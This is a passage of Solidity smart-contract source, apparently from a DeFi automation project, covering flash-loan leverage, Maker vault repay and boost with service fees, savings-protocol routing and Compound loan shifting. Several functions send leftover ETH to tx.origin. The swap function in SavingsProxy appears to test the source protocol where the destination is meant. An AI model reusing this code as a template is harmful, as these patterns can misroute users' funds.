address public constant CREATE_PROXY_ACTIONS = 0x6d0984E80a86f26c0dd564ca0CF74a8E9Da03305;
uint public constant SERVICE_FEE = 400; // 0.25% Fee
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A;
address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {}
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params)
external override {
//check the contract has the specified balance
require(_amount <= getBalanceInternal(address(this), _reserve),
"Invalid balance for the contract");
(
uint[6] memory numData,
address[5] memory addrData,
bytes memory callData,
address proxy
)
= abi.decode(_params, (uint256[6],address[5],bytes,address));
ExchangeData memory exchangeData = ExchangeData({
srcAddr: addrData[0],
destAddr: addrData[1],
srcAmount: numData[2],
destAmount: numData[3],
minPrice: numData[4],
wrapper: addrData[3],
exchangeAddr: addrData[2],
callData: callData,
price0x: numData[5]
});
openAndLeverage(numData[0], numData[1] + _fee, addrData[4], proxy, exchangeData);
transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));
// if there is some eth left (0x fee), return it to user
if (address(this).balance > 0) {
tx.origin.transfer(address(this).balance);
}
}
function openAndLeverage(
uint _collAmount,
uint _daiAmountAndFee,
address _joinAddr,
address _proxy,
ExchangeData memory _exchangeData
) public {
uint dfsFee = getFee(_exchangeData.srcAmount, DSProxy(payable(_proxy)).owner());
_exchangeData.srcAmount = (_exchangeData.srcAmount - dfsFee);
(, uint256 collSwaped) = _sell(_exchangeData);
bytes32 ilk = Join(_joinAddr).ilk();
if (_joinAddr == ETH_JOIN_ADDRESS) {
MCDCreateProxyActions(CREATE_PROXY_ACTIONS).openLockETHAndDraw{value: address(this).balance}(
MANAGER_ADDRESS,
JUG_ADDRESS,
ETH_JOIN_ADDRESS,
DAI_JOIN_ADDRESS,
ilk,
_daiAmountAndFee,
_proxy
);
} else {
ERC20(address(Join(_joinAddr).gem())).safeApprove(CREATE_PROXY_ACTIONS, 0);
ERC20(address(Join(_joinAddr).gem())).safeApprove(CREATE_PROXY_ACTIONS, uint256(-1));
MCDCreateProxyActions(CREATE_PROXY_ACTIONS).openLockGemAndDraw(
MANAGER_ADDRESS,
JUG_ADDRESS,
_joinAddr,
DAI_JOIN_ADDRESS,
ilk,
(_collAmount + collSwaped),
_daiAmountAndFee,
true,
_proxy
);
}
}
function getFee(uint _amount, address _owner) internal returns (uint feeAmount) {
uint fee = SERVICE_FEE;
if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_owner)) {
fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_owner);
}
feeAmount = (fee == 0) ? 0 : (_amount / fee);
// fee can't go over 20% of the whole amount
if (feeAmount > (_amount / 5)) {
feeAmount = _amount / 5;
}
ERC20(DAI_ADDRESS).transfer(WALLET_ID, feeAmount);
}
receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {}
}
contract MCDSaverProxy is SaverExchangeCore, MCDSaverProxyHelper {
uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee
uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee
bytes32 public constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000;
address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
address public constant JUG_ADDRESS = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B;
Manager public constant manager = Manager(MANAGER_ADDRESS);
Vat public constant vat = Vat(VAT_ADDRESS);
DaiJoin public constant daiJoin = DaiJoin(DAI_JOIN_ADDRESS);
Spotter public constant spotter = Spotter(SPOTTER_ADDRESS);
DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
/// @notice Repay - draws collateral, converts to Dai and repays the debt
/// @dev Must be called by the DSProxy contract that owns the CDP
function repay(
SaverExchangeCore.ExchangeData memory _exchangeData,
uint _cdpId,
uint _gasCost,
address _joinAddr
) public payable {
address owner = getOwner(manager, _cdpId);
bytes32 ilk = manager.ilks(_cdpId);
drawCollateral(_cdpId, _joinAddr, _exchangeData.srcAmount);
(, uint daiAmount) = _sell(_exchangeData);
uint daiAfterFee = sub(daiAmount, getFee(daiAmount, _gasCost, owner));
paybackDebt(_cdpId, ilk, daiAfterFee, owner);
// if there is some eth left (0x fee), return it to user
if (address(this).balance > 0) {
tx.origin.transfer(address(this).balance);
}
logger.Log(address(this), msg.sender, "MCDRepay", abi.encode(_cdpId, owner, _exchangeData.srcAmount, daiAmount));
}
/// @notice Boost - draws Dai, converts to collateral and adds to CDP
/// @dev Must be called by the DSProxy contract that owns the CDP
function boost(
SaverExchangeCore.ExchangeData memory _exchangeData,
uint _cdpId,
uint _gasCost,
address _joinAddr
) public payable {
address owner = getOwner(manager, _cdpId);
bytes32 ilk = manager.ilks(_cdpId);
uint daiDrawn = drawDai(_cdpId, ilk, _exchangeData.srcAmount);
uint daiAfterFee = sub(daiDrawn, getFee(daiDrawn, _gasCost, owner));
_exchangeData.srcAmount = daiAfterFee;
(, uint swapedColl) = _sell(_exchangeData);
addCollateral(_cdpId, _joinAddr, swapedColl);
// if there is some eth left (0x fee), return it to user
if (address(this).balance > 0) {
tx.origin.transfer(address(this).balance);
}
logger.Log(address(this), msg.sender, "MCDBoost", abi.encode(_cdpId, owner, _exchangeData.srcAmount, swapedColl));
}
/// @notice Draws Dai from the CDP
/// @dev If _daiAmount is bigger than max available we'll draw max
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @param _daiAmount Amount of Dai to draw
function drawDai(uint _cdpId, bytes32 _ilk, uint _daiAmount) internal returns (uint) {
uint rate = Jug(JUG_ADDRESS).drip(_ilk);
uint daiVatBalance = vat.dai(manager.urns(_cdpId));
uint maxAmount = getMaxDebt(_cdpId, _ilk);
if (_daiAmount >= maxAmount) {
_daiAmount = sub(maxAmount, 1);
}
manager.frob(_cdpId, int(0), normalizeDrawAmount(_daiAmount, rate, daiVatBalance));
manager.move(_cdpId, address(this), toRad(_daiAmount));
if (vat.can(address(this), address(DAI_JOIN_ADDRESS)) == 0) {
vat.hope(DAI_JOIN_ADDRESS);
}
DaiJoin(DAI_JOIN_ADDRESS).exit(address(this), _daiAmount);
return _daiAmount;
}
/// @notice Adds collateral to the CDP
/// @param _cdpId Id of the CDP
/// @param _joinAddr Address of the join contract for the CDP collateral
/// @param _amount Amount of collateral to add
function addCollateral(uint _cdpId, address _joinAddr, uint _amount) internal {
int convertAmount = 0;
if (_joinAddr == ETH_JOIN_ADDRESS) {
Join(_joinAddr).gem().deposit{value: _amount}();
convertAmount = toPositiveInt(_amount);
} else {
convertAmount = toPositiveInt(convertTo18(_joinAddr, _amount));
}
ERC20(address(Join(_joinAddr).gem())).safeApprove(_joinAddr, 0);
ERC20(address(Join(_joinAddr).gem())).safeApprove(_joinAddr, _amount);
Join(_joinAddr).join(address(this), _amount);
vat.frob(
manager.ilks(_cdpId),
manager.urns(_cdpId),
address(this),
address(this),
convertAmount,
0
);
}
/// @notice Draws collateral and returns it to DSProxy
/// @dev If _amount is bigger than max available we'll draw max
/// @param _cdpId Id of the CDP
/// @param _joinAddr Address of the join contract for the CDP collateral
/// @param _amount Amount of collateral to draw
function drawCollateral(uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) {
uint frobAmount = _amount;
if (Join(_joinAddr).dec() != 18) {
frobAmount = _amount * (10 ** (18 - Join(_joinAddr).dec()));
}
manager.frob(_cdpId, -toPositiveInt(frobAmount), 0);
manager.flux(_cdpId, address(this), frobAmount);
Join(_joinAddr).exit(address(this), _amount);
if (_joinAddr == ETH_JOIN_ADDRESS) {
Join(_joinAddr).gem().withdraw(_amount); // Weth -> Eth
}
return _amount;
}
/// @notice Paybacks Dai debt
/// @dev If the _daiAmount is bigger than the whole debt, returns extra Dai
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @param _daiAmount Amount of Dai to payback
/// @param _owner Address that owns the DSProxy that owns the CDP
function paybackDebt(uint _cdpId, bytes32 _ilk, uint _daiAmount, address _owner) internal {
address urn = manager.urns(_cdpId);
uint wholeDebt = getAllDebt(VAT_ADDRESS, urn, urn, _ilk);
if (_daiAmount > wholeDebt) {
ERC20(DAI_ADDRESS).transfer(_owner, sub(_daiAmount, wholeDebt));
_daiAmount = wholeDebt;
}
if (ERC20(DAI_ADDRESS).allowance(address(this), DAI_JOIN_ADDRESS) == 0) {
ERC20(DAI_ADDRESS).approve(DAI_JOIN_ADDRESS, uint(-1));
}
daiJoin.join(urn, _daiAmount);
manager.frob(_cdpId, 0, normalizePaybackAmount(VAT_ADDRESS, urn, _ilk));
}
/// @notice Calculates the fee amount
/// @param _amount Dai amount that is converted
/// @param _gasCost Used for Monitor, estimated gas cost of tx
/// @param _owner The address that controlls the DSProxy that owns the CDP
function getFee(uint _amount, uint _gasCost, address _owner) internal returns (uint feeAmount) {
uint fee = MANUAL_SERVICE_FEE;
if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) {
fee = AUTOMATIC_SERVICE_FEE;
}
if (Discount(DISCOUNT_ADDRESS).isCustomFeeSet(_owner)) {
fee = Discount(DISCOUNT_ADDRESS).getCustomServiceFee(_owner);
}
feeAmount = (fee == 0) ? 0 : (_amount / fee);
if (_gasCost != 0) {
uint ethDaiPrice = getPrice(ETH_ILK);
_gasCost = rmul(_gasCost, ethDaiPrice);
feeAmount = add(feeAmount, _gasCost);
}
// fee can't go over 20% of the whole amount
if (feeAmount > (_amount / 5)) {
feeAmount = _amount / 5;
}
ERC20(DAI_ADDRESS).transfer(WALLET_ID, feeAmount);
}
/// @notice Gets the maximum amount of collateral available to draw
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @param _joinAddr Joind address of collateral
/// @dev Substracts 10 wei to aviod rounding error later on
function getMaxCollateral(uint _cdpId, bytes32 _ilk, address _joinAddr) public view returns (uint) {
uint price = getPrice(_ilk);
(uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk);
(, uint mat) = Spotter(SPOTTER_ADDRESS).ilks(_ilk);
uint maxCollateral = sub(sub(collateral, (div(mul(mat, debt), price))), 10);
uint normalizeMaxCollateral = maxCollateral;
if (Join(_joinAddr).dec() != 18) {
normalizeMaxCollateral = maxCollateral / (10 ** (18 - Join(_joinAddr).dec()));
}
return normalizeMaxCollateral;
}
/// @notice Gets the maximum amount of debt available to generate
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
/// @dev Substracts 10 wei to aviod rounding error later on
function getMaxDebt(uint _cdpId, bytes32 _ilk) public virtual view returns (uint) {
uint price = getPrice(_ilk);
(, uint mat) = spotter.ilks(_ilk);
(uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk);
return sub(sub(div(mul(collateral, price), mat), debt), 10);
}
/// @notice Gets a price of the asset
/// @param _ilk Ilk of the CDP
function getPrice(bytes32 _ilk) public view returns (uint) {
(, uint mat) = spotter.ilks(_ilk);
(,,uint spot,,) = vat.ilks(_ilk);
return rmul(rmul(spot, spotter.par()), mat);
}
/// @notice Gets CDP ratio
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
function getRatio(uint _cdpId, bytes32 _ilk) public view returns (uint) {
uint price = getPrice( _ilk);
(uint collateral, uint debt) = getCdpInfo(manager, _cdpId, _ilk);
if (debt == 0) return 0;
return rdiv(wmul(collateral, price), debt);
}
/// @notice Gets CDP info (collateral, debt, price, ilk)
/// @param _cdpId Id of the CDP
function getCdpDetailedInfo(uint _cdpId) public view returns (uint collateral, uint debt, uint price, bytes32 ilk) {
address urn = manager.urns(_cdpId);
ilk = manager.ilks(_cdpId);
(collateral, debt) = vat.urns(ilk, urn);
(,uint rate,,,) = vat.ilks(ilk);
debt = rmul(debt, rate);
price = getPrice(ilk);
}
}
contract MCDSaverTaker is MCDSaverProxy, GasBurner {
address payable public constant MCD_SAVER_FLASH_LOAN = 0x28e444b53a9e7E3F6fFe50E93b18dCce7838551F;
address public constant AAVE_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3;
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
function boostWithLoan(
SaverExchangeCore.ExchangeData memory _exchangeData,
uint _cdpId,
uint _gasCost,
address _joinAddr
) public payable burnGas(25) {
uint256 maxDebt = getMaxDebt(_cdpId, manager.ilks(_cdpId));
if (maxDebt >= _exchangeData.srcAmount) {
boost(_exchangeData, _cdpId, _gasCost, _joinAddr);
return;
}
MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee
uint256 loanAmount = sub(_exchangeData.srcAmount, maxDebt);
uint maxLiq = getAvailableLiquidity(DAI_JOIN_ADDRESS);
loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount;
manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 1);
bytes memory paramsData = abi.encode(packExchangeData(_exchangeData), _cdpId, _gasCost, _joinAddr, false);
lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, DAI_ADDRESS, loanAmount, paramsData);
manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 0);
}
function repayWithLoan(
SaverExchangeCore.ExchangeData memory _exchangeData,
uint _cdpId,
uint _gasCost,
address _joinAddr
) public payable burnGas(25) {
uint256 maxColl = getMaxCollateral(_cdpId, manager.ilks(_cdpId), _joinAddr);
if (maxColl >= _exchangeData.srcAmount) {
repay(_exchangeData, _cdpId, _gasCost, _joinAddr);
return;
}
MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee
uint256 loanAmount = sub(_exchangeData.srcAmount, maxColl);
uint maxLiq = getAvailableLiquidity(_joinAddr);
loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount;
manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 1);
bytes memory paramsData = abi.encode(packExchangeData(_exchangeData), _cdpId, _gasCost, _joinAddr, true);
lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, getAaveCollAddr(_joinAddr), loanAmount, paramsData);
manager.cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 0);
}
/// @notice Gets the maximum amount of debt available to generate
/// @param _cdpId Id of the CDP
/// @param _ilk Ilk of the CDP
function getMaxDebt(uint256 _cdpId, bytes32 _ilk) public override view returns (uint256) {
uint256 price = getPrice(_ilk);
(, uint256 mat) = spotter.ilks(_ilk);
(uint256 collateral, uint256 debt) = getCdpInfo(manager, _cdpId, _ilk);
return sub(wdiv(wmul(collateral, price), mat), debt);
}
function getAaveCollAddr(address _joinAddr) internal view returns (address) {
if (_joinAddr == 0x2F0b23f53734252Bda2277357e97e1517d6B042A
|| _joinAddr == 0x775787933e92b709f2a3C70aa87999696e74A9F8) {
return KYBER_ETH_ADDRESS;
} else if (_joinAddr == DAI_JOIN_ADDRESS) {
return DAI_ADDRESS;
} else
{
return getCollateralAddr(_joinAddr);
}
}
function getAvailableLiquidity(address _joinAddr) internal view returns (uint liquidity) {
address tokenAddr = getAaveCollAddr(_joinAddr);
if (tokenAddr == KYBER_ETH_ADDRESS) {
liquidity = AAVE_POOL_CORE.balance;
} else {
liquidity = ERC20(tokenAddr).balanceOf(AAVE_POOL_CORE);
}
}
function _packData(
uint _cdpId,
uint _gasCost,
address _joinAddr,
SaverExchangeCore.ExchangeData memory exchangeData
) internal pure returns (uint[6] memory numData, address[5] memory addrData, bytes memory callData) {
numData = [
exchangeData.srcAmount,
exchangeData.destAmount,
exchangeData.minPrice,
exchangeData.price0x,
_cdpId,
_gasCost
];
addrData = [
exchangeData.srcAddr,
exchangeData.destAddr,
exchangeData.exchangeAddr,
exchangeData.wrapper,
_joinAddr
];
callData = exchangeData.callData;
}
}
contract SavingsProxy is DSRSavingsProtocol, CompoundSavingsProtocol {
address public constant ADAI_ADDRESS = 0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d;
address public constant SAVINGS_DYDX_ADDRESS = 0x03b1565e070df392e48e7a8e01798C4B00E534A5;
address public constant SAVINGS_AAVE_ADDRESS = 0x535B9035E9bA8D7efe0FeAEac885fb65b303E37C;
address public constant NEW_IDAI_ADDRESS = 0x493C57C4763932315A328269E1ADaD09653B9081;
address public constant COMP_ADDRESS = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
address public constant SAVINGS_LOGGER_ADDRESS = 0x89b3635BD2bAD145C6f92E82C9e83f06D5654984;
address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
enum SavingsProtocol {Compound, Dydx, Fulcrum, Dsr, Aave}
function deposit(SavingsProtocol _protocol, uint256 _amount) public {
if (_protocol == SavingsProtocol.Dsr) {
dsrDeposit(_amount, true);
} else if (_protocol == SavingsProtocol.Compound) {
compDeposit(msg.sender, _amount);
} else {
_deposit(_protocol, _amount, true);
}
SavingsLogger(SAVINGS_LOGGER_ADDRESS).logDeposit(msg.sender, uint8(_protocol), _amount);
}
function withdraw(SavingsProtocol _protocol, uint256 _amount) public {
if (_protocol == SavingsProtocol.Dsr) {
dsrWithdraw(_amount, true);
} else if (_protocol == SavingsProtocol.Compound) {
compWithdraw(msg.sender, _amount);
} else {
_withdraw(_protocol, _amount, true);
}
SavingsLogger(SAVINGS_LOGGER_ADDRESS).logWithdraw(msg.sender, uint8(_protocol), _amount);
}
function swap(SavingsProtocol _from, SavingsProtocol _to, uint256 _amount) public {
if (_from == SavingsProtocol.Dsr) {
dsrWithdraw(_amount, false);
} else if (_from == SavingsProtocol.Compound) {
compWithdraw(msg.sender, _amount);
} else {
_withdraw(_from, _amount, false);
}
// possible to withdraw 1-2 wei less than actual amount due to division precision
// so we deposit all amount on DSProxy
uint256 amountToDeposit = ERC20(DAI_ADDRESS).balanceOf(address(this));
if (_to == SavingsProtocol.Dsr) {
dsrDeposit(amountToDeposit, false);
} else if (_from == SavingsProtocol.Compound) {
compDeposit(msg.sender, _amount);
} else {
_deposit(_to, amountToDeposit, false);
}
SavingsLogger(SAVINGS_LOGGER_ADDRESS).logSwap(
msg.sender,
uint8(_from),
uint8(_to),
_amount
);
}
function withdrawDai() public {
ERC20(DAI_ADDRESS).transfer(msg.sender, ERC20(DAI_ADDRESS).balanceOf(address(this)));
}
function claimComp() public {
ComptrollerInterface(COMP_ADDRESS).claimComp(address(this));
}
function getAddress(SavingsProtocol _protocol) public pure returns (address) {
if (_protocol == SavingsProtocol.Dydx) {
return SAVINGS_DYDX_ADDRESS;
}
if (_protocol == SavingsProtocol.Aave) {
return SAVINGS_AAVE_ADDRESS;
}
}
function _deposit(SavingsProtocol _protocol, uint256 _amount, bool _fromUser) internal {
if (_fromUser) {
ERC20(DAI_ADDRESS).transferFrom(msg.sender, address(this), _amount);
}
approveDeposit(_protocol);
ProtocolInterface(getAddress(_protocol)).deposit(address(this), _amount);
endAction(_protocol);
}
function _withdraw(SavingsProtocol _protocol, uint256 _amount, bool _toUser) public {
approveWithdraw(_protocol);
ProtocolInterface(getAddress(_protocol)).withdraw(address(this), _amount);
endAction(_protocol);
if (_toUser) {
withdrawDai();
}
}
function endAction(SavingsProtocol _protocol) internal {
if (_protocol == SavingsProtocol.Dydx) {
setDydxOperator(false);
}
}
function approveDeposit(SavingsProtocol _protocol) internal {
if (_protocol == SavingsProtocol.Compound || _protocol == SavingsProtocol.Fulcrum || _protocol == SavingsProtocol.Aave) {
ERC20(DAI_ADDRESS).approve(getAddress(_protocol), uint256(-1));
}
if (_protocol == SavingsProtocol.Dydx) {
ERC20(DAI_ADDRESS).approve(SOLO_MARGIN_ADDRESS, uint256(-1));
setDydxOperator(true);
}
}
function approveWithdraw(SavingsProtocol _protocol) internal {
if (_protocol == SavingsProtocol.Compound) {
ERC20(NEW_CDAI_ADDRESS).approve(getAddress(_protocol), uint256(-1));
}
if (_protocol == SavingsProtocol.Dydx) {
setDydxOperator(true);
}
if (_protocol == SavingsProtocol.Fulcrum) {
ERC20(NEW_IDAI_ADDRESS).approve(getAddress(_protocol), uint256(-1));
}
if (_protocol == SavingsProtocol.Aave) {
ERC20(ADAI_ADDRESS).approve(getAddress(_protocol), uint256(-1));
}
}
function setDydxOperator(bool _trusted) internal {
ISoloMargin.OperatorArg[] memory operatorArgs = new ISoloMargin.OperatorArg[](1);
operatorArgs[0] = ISoloMargin.OperatorArg({
operator: getAddress(SavingsProtocol.Dydx),
trusted: _trusted
});
ISoloMargin(SOLO_MARGIN_ADDRESS).setOperators(operatorArgs);
}
}
contract LoanShifterReceiver is SaverExchangeCore, FlashLoanReceiverBase, AdminAuth {
ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x2612Af3A521c2df9EAF28422Ca335b04AdF3ac66);
struct ParamData {
bytes proxyData1;
bytes proxyData2;
address proxy;
address debtAddr;
uint8 protocol1;
uint8 protocol2;
uint8 swapType;
}
constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {}
function executeOperation(
address _reserve,
uint256 _amount,
uint256 _fee,
bytes calldata _params)
external override {
// Format the call data for DSProxy
(ParamData memory paramData, ExchangeData memory exchangeData)
= packFunctionCall(_amount, _fee, _params);
address protocolAddr1 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol1));
address protocolAddr2 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol2));
// Send Flash loan amount to DSProxy
sendToProxy(payable(paramData.proxy), _reserve, _amount);
// Execute the Close/Change debt operation
DSProxyInterface(paramData.proxy).execute(protocolAddr1, paramData.proxyData1);
if (paramData.swapType == 1) { // COLL_SWAP
exchangeData.srcAmount = getBalance(exchangeData.srcAddr);
(, uint amount) = _sell(exchangeData);
sendToProxy(payable(paramData.proxy), exchangeData.destAddr, amount);
} else if (paramData.swapType == 2) { // DEBT_SWAP
exchangeData.destAmount = (_amount + _fee);
_buy(exchangeData);
// Send extra to DSProxy
sendToProxy(payable(paramData.proxy), exchangeData.srcAddr, ERC20(exchangeData.srcAddr).balanceOf(address(this)));
} else { // NO_SWAP just send tokens to proxy
sendToProxy(payable(paramData.proxy), exchangeData.srcAddr, getBalance(exchangeData.srcAddr));
}
// Execute the Open operation
DSProxyInterface(paramData.proxy).execute(protocolAddr2, paramData.proxyData2);
// Repay FL
transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));
// if there is some eth left (0x fee), return it to user
if (address(this).balance > 0) {
tx.origin.transfer(address(this).balance);
}
}
function packFunctionCall(uint _amount, uint _fee, bytes memory _params)
internal pure returns (ParamData memory paramData, ExchangeData memory exchangeData) {
(
uint[8] memory numData, // collAmount, debtAmount, id1, id2, srcAmount, destAmount, minPrice, price0x
address[8] memory addrData, // addrLoan1, addrLoan2, debtAddr1, debtAddr2, srcAddr, destAddr, exchangeAddr, wrapper
uint8[3] memory enumData, // fromProtocol, toProtocol, swapType
bytes memory callData,
address proxy
)
= abi.decode(_params, (uint256[8],address[8],uint8[3],bytes,address));
bytes memory proxyData1;
bytes memory proxyData2;
uint openDebtAmount = (_amount + _fee);
if (enumData[0] == 0) { // MAKER FROM
proxyData1 = abi.encodeWithSignature("close(uint256,address,uint256,uint256)", numData[2], addrData[0], _amount, numData[0]);
} else if(enumData[0] == 1) { // COMPOUND FROM
if (enumData[2] == 2) { // DEBT_SWAP
proxyData1 = abi.encodeWithSignature("changeDebt(address,address,uint256,uint256)", addrData[2], addrData[3], (_amount + _fee), numData[4]);
} else {
proxyData1 = abi.encodeWithSignature("close(address,address,uint256,uint256)", addrData[0], addrData[2], numData[0], numData[1]);
}
}
if (enumData[1] == 0) { // MAKER TO
proxyData2 = abi.encodeWithSignature("open(uint256,address,uint256)", numData[3], addrData[1], openDebtAmount);
} else if(enumData[1] == 1) { // COMPOUND TO
if (enumData[2] == 2) { // DEBT_SWAP
proxyData2 = abi.encodeWithSignature("repayAll(address)", addrData[3]);
} else {
proxyData2 = abi.encodeWithSignature("open(address,address,uint256)", addrData[1], addrData[3], openDebtAmount);
}
}
paramData = ParamData({
proxyData1: proxyData1,
proxyData2: proxyData2,
proxy: proxy,
debtAddr: addrData[2],
protocol1: enumData[0],
protocol2: enumData[1],
swapType: enumData[2]
});
exchangeData = SaverExchangeCore.ExchangeData({
srcAddr: addrData[4],
destAddr: addrData[5],
srcAmount: numData[4],
destAmount: numData[5],
minPrice: numData[6],
wrapper: addrData[7],
exchangeAddr: addrData[6],
callData: callData,
price0x: numData[7]
});
}
function sendToProxy(address payable _proxy, address _reserve, uint _amount) internal {
if (_reserve != ETH_ADDRESS) {
ERC20(_reserve).safeTransfer(_proxy, _amount);
}
_proxy.transfer(address(this).balance);
}
function getNameByProtocol(uint8 _proto) internal pure returns (string memory) {
if (_proto == 0) {
return "MCD_SHIFTER";
} else if (_proto == 1) {
return "COMP_SHIFTER";
}
}
receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {}
}
contract CompShifter is CompoundSaverHelper {
address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
function getWholeDebt(uint _cdpId, address _joinAddr) public virtual returns(uint loanAmount) {
return CTokenInterface(_joinAddr).borrowBalanceCurrent(msg.sender);
}
function close(
address _cCollAddr,
address _cBorrowAddr,
uint _collAmount,
uint _debtAmount
) public {
address collAddr = getUnderlyingAddr(_cCollAddr);
// payback debt
paybackDebt(_debtAmount, _cBorrowAddr, getUnderlyingAddr(_cBorrowAddr), tx.origin);
// draw coll
if (CTokenInterface(_cBorrowAddr).borrowBalanceCurrent(address(this)) == 0) {
uint cTokenBalance = CTokenInterface(_cCollAddr).balanceOf(address(this));
require(CTokenInterface(_cCollAddr).redeem(cTokenBalance) == 0);
} else {
require(CTokenInterface(_cCollAddr).redeemUnderlying(_collAmount) == 0);
}
// Send back money to repay FL
if (collAddr == ETH_ADDRESS) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(collAddr).transfer(msg.sender, ERC20(collAddr).balanceOf(address(this)));
}
}
function changeDebt(
address _cBorrowAddrOld,
address _cBorrowAddrNew,
uint _debtAmountOld,
uint _debtAmountNew
) public {
address borrowAddrNew = getUnderlyingAddr(_cBorrowAddrNew);
// payback debt in one token
paybackDebt(_debtAmountOld, _cBorrowAddrOld, getUnderlyingAddr(_cBorrowAddrOld), tx.origin);
// draw debt in another one
borrowCompound(_cBorrowAddrNew, _debtAmountNew);
// Send back money to repay FL
if (borrowAddrNew == ETH_ADDRESS) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(borrowAddrNew).transfer(msg.sender, ERC20(borrowAddrNew).balanceOf(address(this)));
}
}
function open(
address _cCollAddr,
address _cBorrowAddr,
uint _debtAmount
) public {
address collAddr = getUnderlyingAddr(_cCollAddr);
address borrowAddr = getUnderlyingAddr(_cBorrowAddr);
uint collAmount = 0;
if (collAddr == ETH_ADDRESS) {
collAmount = address(this).balance;
} else {
collAmount = ERC20(collAddr).balanceOf(address(this));
}
depositCompound(collAddr, _cCollAddr, collAmount);
// draw debt
borrowCompound(_cBorrowAddr, _debtAmount);
// Send back money to repay FL
if (borrowAddr == ETH_ADDRESS) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(borrowAddr).transfer(msg.sender, ERC20(borrowAddr).balanceOf(address(this)));
}
}
function repayAll(address _cTokenAddr) public {
address tokenAddr = getUnderlyingAddr(_cTokenAddr);
uint amount = ERC20(tokenAddr).balanceOf(address(this));
if (amount != 0) {
paybackDebt(amount, _cTokenAddr, tokenAddr, tx.origin);
}
}
function depositCompound(address _tokenAddr, address _cTokenAddr, uint _amount) internal {
approveCToken(_tokenAddr, _cTokenAddr);
enterMarket(_cTokenAddr);
if (_tokenAddr != ETH_ADDRESS) {
require(CTokenInterface(_cTokenAddr).mint(_amount) == 0, "mint error");
} else {
CEtherInterface(_cTokenAddr).mint{value: _amount}();
}
}
function borrowCompound(address _cTokenAddr, uint _amount) internal {
enterMarket(_cTokenAddr);
require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0);
}
function enterMarket(address _cTokenAddr) public {
address[] memory markets = new address[](1);
markets[0] = _cTokenAddr;
ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets);
}
}
contract McdShifter is MCDSaverProxy {
address public constant OPEN_PROXY_ACTIONS = 0x6d0984E80a86f26c0dd564ca0CF74a8E9Da03305;
